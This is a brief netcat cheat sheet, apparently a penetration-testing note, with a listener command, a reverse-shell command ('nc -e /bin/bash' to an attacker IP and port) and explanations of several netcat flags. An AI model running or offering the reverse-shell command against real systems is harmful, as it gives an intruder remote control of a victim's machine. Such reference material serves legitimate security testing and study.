http://netcat.sourceforge.net/

Listener

nc -lvnp [ATTACKER_PORT]
Open a listener on delected port.

Reverse Shell

nc -e /bin/bash [ATTACKER_IP] [ATTACKER_PORT]
Reverse shell.

Flags

-l
Listener mode.

-k
Keep listening after client disconnects.

-n
No DNS (no more "unknown host").

-v
Verbose.

-p 2112
Port. -z
Netcat will not send data (scan for listening daemons).